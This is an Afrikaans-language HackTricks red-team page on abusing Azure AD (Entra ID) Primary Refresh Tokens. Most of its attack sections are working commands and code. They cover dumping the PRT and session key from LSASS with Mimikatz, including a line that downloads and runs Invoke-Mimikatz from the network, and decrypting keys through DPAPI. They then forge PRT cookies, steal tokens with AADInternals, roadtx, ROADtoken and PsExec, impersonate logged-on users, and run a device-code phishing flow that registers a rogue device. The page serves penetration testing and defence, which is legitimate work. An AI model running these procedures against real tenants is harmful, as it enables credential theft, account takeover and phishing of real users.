Az - Primêre Vernuwings Teken (PRT)

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Wat is ’n Primêre Vernuwings Teken (PRT)?

’n Primêre Vernuwings Teken (PRT) is ’n langlewe vernuwings teken wat in Azure AD (Entra ID) verifikasie gebruik word, soortgelyk aan ’n Kerberos TGT. Dit word uitgereik wanneer ’n gebruiker aanmeld op ’n Azure AD-verbonden toestel en kan gebruik word om toegangsteke vir verskeie toepassings aan te vra sonder om weer geloofsbriewe te vra. Elke PRT word vergesel deur ’n sessiesleutel (ook genoem ’n Bewys-van-Besit sleutel) – ’n simmetriese sleutel wat gebruik word om versoeke te teken en te bewys dat die kliënt die PRT het. Die PRT self is ’n ondoorgrondelike, versleutelde blob (nie leesbaar deur die kliënt nie), terwyl die sessiesleutel gebruik word om ’n JWT wat die PRT bevat te teken wanneer toegangsteke aangevra word. Met ander woorde, besit van die PRT alleen is onvoldoende; ’n aanvaller het die sessiesleutel nodig om legitimiteit te bewys, soortgelyk aan die behoefte aan beide ’n Kerberos TGT en sy sessiesleutel vir verifikasie.

Op Windows word die PRT en sessiesleutel in die LSASS-proses gebuffer via die CloudAP-inprop. As ’n toestel ’n TPM (Trusted Platform Module) het, bind Azure AD sleutels aan die TPM vir ekstra sekuriteit. Dit beteken dat op TPM-geskikte toestelle, die sessiesleutel gestoor of gebruik word binne die TPM sodat dit nie direk uit geheue gelees kan word nie onder normale omstandighede. As daar geen TPM beskikbaar is nie (bv. baie VM’s of ouer stelsels), word die sleutels in sagteware gehou en beskerm met DPAPI-versleuteling. In beide gevalle kan ’n aanvaller met administratiewe regte of kode-uitvoering op die masjien probeer om die PRT en sessiesleutel uit geheue te dump as deel van post-exploitatie, en dit dan gebruik om die gebruiker in die wolk na te doen. Anders as tipiese vernuwings teken (wat gewoonlik toepassings-spesifiek is), is ’n PRT breër, wat jou toestel in staat stel om toegangsteke vir byna enige Entra ID-geïntegreerde hulpbron of diens aan te vra.

Hoe Werk ’n PRT?

Hier is ’n vereenvoudigde uiteensetting van hoe ’n PRT werk:

  1. Toestel Registrasie:

  • Wanneer jou toestel (soos ’n Windows-laptop of mobiele telefoon) by Entra ID aansluit of registreer, verifieer dit met jou geloofsbriewe (gebruikersnaam/wagwoord/MFA).

  • Na suksesvolle verifikasie, stel Entra ID ’n PRT uit wat spesifiek aan jou toestel gebind is.

  1. Teken Berging:
  • Die PRT word veilig op jou toestel gestoor, dikwels beskerm deur hardeware funksies soos die Trusted Platform Module (TPM), wat verseker dat dit moeilik is vir ongeoorloofde partye om dit te onttrek of te misbruik.
  1. Enkele Aanmelding (SSO):

  • Elke keer wanneer jy toegang tot ’n Entra ID-beskermde toepassing (bv. Microsoft 365 toepassings, SharePoint, Teams) verkry, gebruik jou toestel stilweg die gestoor PRT om ’n spesifieke toegangsteken vir daardie toepassing aan te vra en te verkry.

  • Jy hoef nie jou geloofsbriewe herhaaldelik in te voer nie omdat die PRT verifikasie deursigtig hanteer.

  1. Vernuwing en Sekuriteit:

  • PRT’s het ’n lang leeftyd (tipies rondom 14 dae), maar word voortdurend vernuwe solank jou toestel aktief in gebruik is.

  • As jou toestel gecompromitteer of verlore raak, kan administrateurs jou PRT op afstand intrek, wat onmiddellik ongeoorloofde toegang blokkeer.

Waarom is PRT’s Kragtig?

  • Universale Toegang: Anders as tipiese teken wat beperk is tot een toepassing of hulpbron, kan ’n PRT toegang tot alle Entra ID-geïntegreerde dienste fasiliteer.

  • Verbeterde Sekuriteit: Met ingeboude hardeware beskerming (soos TPM), verseker PRT’s veilige teken berging en gebruik.

  • Gebruikerservaring: PRT’s verbeter die gebruikerservaring aansienlik deur gereelde verifikasie versoeke te verminder en werklike naatlose SSO moontlik te maak.

Hoe om te weet of ’n PRT teenwoordig is?

  • Kontroleer of PRT teenwoordig is:
# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES
  • Kontroleer of dit deur TPM beskerm word:
Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.

dsregcmd /status
# In Device State / WHfB prerequisites you’ll typically see:
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).

Pas die PRT

Volgens hierdie pos op Windows-toestelle sonder TPM-binding, woon die PRT en sy sessiesleutel in LSASS (CloudAP-plug‑in). Met plaaslike admin/SYSTEM op daardie toestel, kan die PRT-blob en die DPAPI-gesleutelde sessiesleutel van LSASS gelees word, die sessiesleutel via DPAPI ontsleutel word, en die ondertekeningsleutel afgelei word om ’n geldige PRT-koekie (x‑ms‑RefreshTokenCredential) te maak. Jy het beide die PRT en sy sessiesleutel nodig—die PRT-string alleen is nie genoeg nie.

Mimikatz

  1. Die PRT (Primêre Vernuwingsleutel) word uit LSASS (Plaaslike Sekuriteitsowerheid Substelseldiens) onttrek en gestoor vir latere gebruik.
  2. Die Sessiesleutel word volgende onttrek. Aangesien hierdie sleutel aanvanklik uitgereik word en dan weer deur die plaaslike toestel her-gesleutel word, vereis dit ontsleuteling met ’n DPAPI-hoofsleutel. Gedetailleerde inligting oor DPAPI (Data Protection API) kan in hierdie hulpbronne gevind word: HackTricks en vir ’n begrip van sy toepassing, verwys na Pass-the-cookie aanval.
  3. Na die ontsleuteling van die Sessiesleutel, word die afgeleide sleutel en konteks vir die PRT verkry. Hierdie is noodsaaklik vir die skepping van die PRT-koekie. Spesifiek, die afgeleide sleutel word gebruik om die JWT (JSON Web Token) wat die koekie vorm, te onderteken. ’n Omvattende verduideliking van hierdie proses is deur Dirk-jan verskaf, beskikbaar hier.
privilege::debug
sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

Die PRT-veld bevat die geënkripteerde herlaaikas (tipies ’n base64-string), en KeyValue in die ProofOfPossessionKey is die DPAPI-geënkripteerde sessiesleutel (ook base64).

Kopieer dan die base64-blob van KeyValue binne die veld ProofOfPossessionKey uit die sekurlsa::cloudap uitvoer (dit is die sessiesleutel geënkripteer met DPAPI). Hierdie geënkripteerde sleutel kan nie soos dit is gebruik word nie – dit moet ontkrip word met die stelsel se DPAPI-akkrediteer.

Omdat DPAPI-enkripsie vir stelsels geheimenisse die masjien se stelselkonteks vereis, verhef jou token na SYSTEM en gebruik Mimikatz se DPAPI-modules om te ontkrip:

token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect

# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'

Die token::elevate sal SYSTEM naboots en die dpapi::cloudapkd opdrag met /unprotect sal die DPAPI meester sleutel gebruik om die verskafde KeyValue blob te ontsleutel. Dit lewer die duidelike teks sessiesleutel en ook die geassosieerde Afgeleide Sleutel en Konteks wat gebruik is vir ondertekening:

  • Duidelike sleutel – die 32-byte sessiesleutel in platte teks (verteenwoordig as ’n hex string).
  • Afgeleide Sleutel – ’n 32-byte sleutel afgelei van die sessiesleutel en ’n kontekswaarde (meer hieroor hieronder).
  • Konteks – ’n 24-byte ewekansige konteks wat gebruik is toe die ondertekeningsleutel vir die PRT koekie afgelei is.

Note

As dit nie vir jou werk om die gebruiker na te boots nie, kyk na die volgende afdeling met AADInternals.

Dan kan jy ook mimikatz gebruik om ’n geldige PRT koekie te genereer:

# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>

Mimikatz sal ’n geskrewe JWT (die PRT koekie) uitset na die lyn “Handtekening met sleutel”, wat die PRT bevat en onderteken is met die afgeleide sleutel. Hierdie JWT kan gekopieer word en dan in ’n websessie gebruik word. Byvoorbeeld, ’n aanvaller kan ’n blaaier oopmaak, na login.microsoftonline.com gaan, en ’n koekie genaamd x-ms-RefreshTokenCredential stel met die waarde wat hierdie JWT is. Wanneer die blaaiers herlaai of navigeer, sal Azure AD die sessie as geverifieer behandel (die PRT koekie word aangebied asof SSO plaasgevind het), en dit sal ’n magtigingskode of toegangstoken vir die gespesifiseerde hulpbron uitreik. In praktyk, sou ’n mens na ’n hulpbron soos Office 365 of Azure-portaal navigeer; die teenwoordigheid van ’n geldige PRT koekie beteken dat Azure AD toegang sal verleen sonder addisionele aanmelding (om MFA te omseil, aangesien die PRT reeds geverifieer is).

Jy kan ook roadtx en roadrecon met die PRT van die PRT koekie gebruik om die gebruiker na te boots (TODO: Vind die presiese opdraglyne om roadtx/roadrecon te gebruik om akrediteer te verkry van ’n PRT).

Mimikatz + AADInternals

Die AADInternals PowerShell-module kan ook gebruik word met die voorheen verkryde PRT en sessiesleutel om ’n geldige PRT-token te genereer. Dit is nuttig om die proses van die verkryging van ’n nuwe PRT-token met nonce te outomatiseer, wat gebruik kan word om toegangstokens vir Azure AD Graph API of ander hulpbronne te verkry:

# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"

# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}

# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"

# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey

# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken

Dit verkry ’n vars PRT-koekie (met ’n nonce) en gebruik dit dan om ’n toegangstoken vir die Azure AD Graph API te verkry (wat wolktoegang namens die gebruiker demonstreer). AADInternals abstraheer baie van die kriptografie en gebruik Windows-komponente of sy eie logika agter die skerms.

Mimikatz + roadtx

  • Verleng eers die PRT, wat dit in roadtx.prt sal stoor:
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Nou kan ons tokens versoek met die interaktiewe blaaiert met roadtx browserprtauth. As ons die roadtx describe opdrag gebruik, sien ons die toegangstoken sluit ’n MFA-eis in omdat die PRT wat ek in hierdie geval gebruik het ook ’n MFA-eis gehad het.
roadtx browserprtauth
roadtx describe < .roadtools_auth

Mimikatz + roadrecon

Met die konteks en die afgeleide sleutel wat deur mimikatz gedump is, is dit moontlik om roadrecon te gebruik om ’n nuwe geskrewe koekie te genereer met:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Misbruik van beskermde PRTs

Ten spyte van die genoemde beskermings, kan ’n aanvaller wat reeds ’n toestel gekompromitteer het (as ’n plaaslike gebruiker of selfs SYSTEM) steeds die PRT misbruik om vars toegangstokens te verkry deur Windows se eie token broker API’s en sekuriteitskomponente te benut. In plaas daarvan om die ruwe PRT of sleutel te onttrek, vra die aanvaller eintlik “aan” Windows om die PRT namens hulle te gebruik. In die afdelings hieronder skets ons tans geldige tegnieke vir die misbruik van PRTs en hul sessiesleutels op opdatering Windows-toestelle waar TPM-beskermings van krag is. Al hierdie tegnieke neem aan dat daar post-exploit toegang op die teikenmasjien is, en fokus op die misbruik van ingeboude verifikasievloei (geen onopgeloste kwesbaarhede benodig nie).

Windows Token Broker Argitektuur en SSO Vloei

Moderne Windows hanteer wolkverifikasie via ’n ingeboude token broker stapel, wat komponente in beide gebruikersmodus en LSASS (Local Security Authority) insluit. Sleutelstukke van hierdie argitektuur sluit in:

  • LSASS CloudAP Plugin: Wanneer ’n toestel Azure AD-verbonden is, laai LSASS wolkverifikasie-pakkette (bv. CloudAP.dll, aadcloudap.dll, MicrosoftAccountCloudAP.dll) wat PRTs en token versoeke bestuur. LSASS (wat as SYSTEM loop) orkestreer PRT berging, vernuwing, en gebruik, en kommunikeer met die TPM om kriptografiese operasies uit te voer (soos om ’n PRT-uitdaging met die sessiesleutel te teken).

  • Web Account Manager (WAM): Die Windows Web Account Manager is ’n gebruikersmodus raamwerk (toeganklik via COM/WinRT API’s) wat toelaat dat toepassings of blaaiers tokens vir wolk rekeninge versoek sonder om vir akrediteer te vra. WAM dien as ’n makelaar tussen gebruikers toepassings en die veilige LSASS/TPM-ondersteunde PRT. Byvoorbeeld, Microsoft’s MSAL biblioteek en sekere OS-komponente gebruik WAM om stilweg tokens te verkry met die ingelogde gebruiker se PRT.

  • BrowserCore.exe en Token Broker COM interfaces: Vir blaaiers SSO, sluit Windows ’n komponent genaamd BrowserCore.exe in (geleë onder Windows Security\BrowserCore). Dit is ’n inheemse boodskapgasheer wat deur blaaiers (Edge, Chrome via ’n uitbreiding, ens.) gebruik word om ’n PRT-afgeleide SSO-token vir Azure AD aanmelding te verkry. Onder die oppervlak benut BrowserCore ’n COM objek wat deur MicrosoftAccountTokenProvider.dll verskaf word om ’n PRT-gebaseerde koekie/token te verkry. In wese is hierdie COM-koppelvlak ’n eerste-party “token broker” API wat enige proses wat as die gebruiker loop kan aanroep om ’n SSO-token te verkry (aangegee dat die gebruiker ’n geldige PRT in LSASS het).

Wanneer ’n Azure AD-verbonden gebruiker probeer om toegang tot ’n hulpbron te verkry (byvoorbeeld, die Azure Portal), is die vloei tipies: ’n toepassing roep WAM of BrowserCore se COM-koppelvlak aan, wat op sy beurt met LSASS kommunikeer. LSASS gebruik die PRT en sessiesleutel (beveilig deur TPM) om ’n SSO-token te produseer – dikwels ’n PRT koekie genoem – wat dan aan die toepassing of blaaiers teruggegee word. Die PRT koekie is ’n spesiale JWT wat die versleutelde PRT en ’n nonce bevat, onderteken met ’n sleutel wat afgelei is van die PRT se sessiesleutel. Hierdie koekie word aan Azure AD gestuur (in ’n x-ms-RefreshTokenCredential kop) om te bewys dat die toestel en gebruiker ’n geldige PRT het, wat Azure AD toelaat om standaard OAuth verfris- en toegangstokens vir verskeie toepassings uit te reik. Opmerklik is dat enige Multi-Factor Authentication (MFA) eis wat in die PRT teenwoordig is, in tokens wat via hierdie SSO-proses verkry word, sal wees, wat beteken dat PRT-afgeleide tokens MFA-beskermde hulpbronne kan bevredig.

Gebruiker-Vlak Token Diefstal (Nie-Admin)

Wanneer ’n aanvaller gebruikersvlak kode-uitvoering het, stop die TPM-beskerming van PRT nie die aanvaller om tokens te verkry nie. Die aanvaller benut ingeboude Windows Token Broker API’s:

BrowserCore (MicrosoftAccountTokenProvider COM)

BrowserCore stel ’n COM-klas (MicrosoftAccountTokenProvider, CLSID {a9927f85-a304-4390-8b23-a75f1c668600}) beskikbaar om PRT koekies te verkry. Hierdie COM API word wettiglik deur blaaiers (Chrome/Edge uitbreidings) vir Azure AD SSO aangeroep.

RequestAADRefreshToken.exe --uri https://login.microsoftonline.com

(Terugkeer ’n Azure AD verfris token of PRT koekie)

ROADtoken sal BrowserCore.exe vanaf die regte gids uitvoer en dit gebruik om ’n PRT koekie te verkry. Hierdie koekie kan dan met ROADtools gebruik word om te autentiseer en ’n volhoubare verfris token te verkry.

Om ’n geldige PRT koekie te genereer, is die eerste ding wat jy nodig het ’n nonce.
Jy kan dit kry met:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Of deur roadrecon:

roadrecon auth prt-init

Dan kan jy roadtoken gebruik om ’n nuwe PRT te verkry (voer die hulpmiddel uit vanaf ’n proses van die gebruiker om aan te val):

.\ROADtoken.exe <nonce>

As ’n eenlyn:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Dan kan jy die gegenereerde koekie gebruik om tokens te genereer om in te log met Azure AD Graph of Microsoft Graph:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Web Account Manager (WAM) APIs

Aanvallers gebruik wettige Microsoft-authentikasiebiblioteke (MSAL, WAM APIs, WebAuthenticationCoreManager) vanaf gebruikersvlakprosesse om stilletjies tokens te verkry deur TPM-beskermde PRT te benut.

execute-assembly aadprt.exe

(Haal PRT koekie via COM interfaces)

execute-assembly listwamaccounts.exe

(Lys Azure AD-rekeninge wat via WAM ingelogde is; identifiseer token teikens)

  • Generiese Voorbeeld (PowerShell met MSAL):
$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken

(Stilweg ’n toegangstoken verkry deur PRT te benut)

Administrateur / SISTEEM-Vlak Token Misbruik

As die aanvaller op Administrateur of SISTEEM opgradeer, kan hulle enige Azure AD ingelogde gebruiker direk naboots en dieselfde COM/WAM token broker APIs gebruik. TPM-beskermde PRT’s voorkom nie hierdie legitieme token-uitreiking nie.

Gebruiker Nabootsing en Token Verkryging

Admin/SISTEEM kan lopende sessies van ander gebruikers naboots om BrowserCore of WAM vir token-generasie aan te roep.

Vir hierdie, naboots net die gebruikersproses (bv. explorer.exe) en roep die token broker APIs aan met enige tegniek wat in die vorige afdeling kommentaar gelewer is.

Direkte LSASS & Token Broker Interaksie (Geavanceerd)

’n Administrateur kan steeds met LSASS werk om die PRT te misbruik: byvoorbeeld, ’n admin kan kode in LSASS inspuit of interne CloudAP-funksies aanroep om LSASS te dwing om ’n token te genereer. Dirk-jan se navorsing het opgemerk dat ’n admin “met PRT sleutels in LSASS kan interaksie hê deur crypto APIs”. In praktyk kan dit beteken om LSASS se eie funksies te gebruik (deur ’n tegniek soos API hooking of RPC, indien beskikbaar) om ’n PRT koekie te genereer. ’n Ander benadering is om enige venster te benut waar die sessiesleutel in geheue mag verskyn – byvoorbeeld, op die oomblik van PRT-vernuwing of toestelregistrasie wanneer dit nie versleuteld is vir gebruik nie. Sulke aanvalle is aansienlik meer kompleks en situasioneel. ’n Meer direkte admin-taktiek is om bestaande token-handvatsels of caches te misbruik: LSASS cache onlangs uitgereikte verfrissingstokens vir toepassings in geheue (versleuteld met DPAPI). ’n Vasberade SISTEEM-aanvaller kan probeer om hierdie DPAPI-beskermde tokens (met die gebruiker se meester sleutel, wat ’n admin kan verkry) te onttrek om direk verfrissingstokens vir spesifieke toepassings te steel. Tog bly die maklikste en mees generiese metode nabootsing en gebruik van die gedokumenteerde token broker interfaces, aangesien hierdie waarborg dat Azure AD vars tokens sal uitreik (met al die behoorlike aansprake) eerder as om te probeer om versleuteling te kraak.

Phishing PRTs

Misbruik die OAuth Device Code vloei met die Microsoft Authentication Broker kliënt ID (29d9ed98-a469-4536-ade2-f981bc1d605e) en die Device Registration Service (DRS) hulpbron om ’n verfrissingstoken te verkry wat opgegradeer kan word na ’n Primêre Verfrissingstoken (PRT) nadat ’n rogue toestel geregistreer is.

Waarom dit werk

  • PRT is toestel-gebound en stel SSO vir (byna) enige Entra-beskermde app in staat.
  • Die Broker kliënt + DRS kombinasie laat ’n gephishde verfrissingstoken toe om verruil te word vir ’n PRT sodra ’n toestel geregistreer is.
  • MFA word nie omseil nie: die gebruiker voer MFA uit tydens die phish; MFA aansprake versprei in die resulterende PRT, wat die aanvaller toelaat om toegang tot toepassings te verkry sonder verdere vrae.

Vereistes:

  • Gebruikersverifikasie via Toestelkode met die Broker kliënt ID (29d9ed98-a469-4536-ade2-f981bc1d605e) en DRS skope/hulpbron (bv. 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default of https://enrollment.manage.microsoft.com/).
  • Gebruiker kan toestelle registreer in Entra ID (standaard: toegelaat, maar kan beperk of kwota-beperk wees).
  • Geen blokkerende CA-beleide wat Toestelkode deaktiveer of kompeterende/hibridetoestelle vereis vir teikentoepassings nie (daardie sal nie PRT-uitreiking stop nie, maar sal die gebruik daarvan om toegang tot beskermde toepassings te verkry blokkeer).
  • Aanvaller-beheerde gasheer om die vloei te laat loop en die tokens/toestelsleutels te hou.

Aanval Vloei:

  1. Begin Toestelkode verifikasie met client_id = Broker en DRS skoop/hulpbron; wys die gebruiker kode aan die slagoffer.
curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"

  1. Slachtoffer teken in op Microsoft se webwerf (legitieme UI) en voltooi MFA → aanvaller ontvang ’n DRS‑geskepte verfrissingstoken vir die Broker-kliënt.

  2. Registreer ’n rogue toestel in die tenant met behulp van daardie verfrissingstoken (toestelobjek word geskep en aan die slachtoffer gekoppel).

  3. Opgradeer na ’n PRT deur die verfrissingstoken + toestelidentiteit/sluitings te ruil → PRT gebonde aan die aanvaller se toestel.

  4. (Opsionele volharding): as MFA vars was, registreer ’n Windows Hello for Business-sleutel om langtermyn, wagwoordlose toegang te handhaaf.

  5. Misbruik: verlos die PRT (of maak ’n PRT-koekie) om toegangstokens vir Exchange/Graph/SharePoint/Teams/pasgemaakte toepassings as die gebruiker te verkry.

Publieke Gereedskap en Bewys-van-Konsepte

  • ROADtools/ROADtx: Automatiseer OAuth-stroom, toestelregistrasie, en token-opgraderings.
  • DeviceCode2WinHello: Enkel-opdrag skrip wat toestelkode phish-to-PRT+WHfB sleutels automatiseer.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks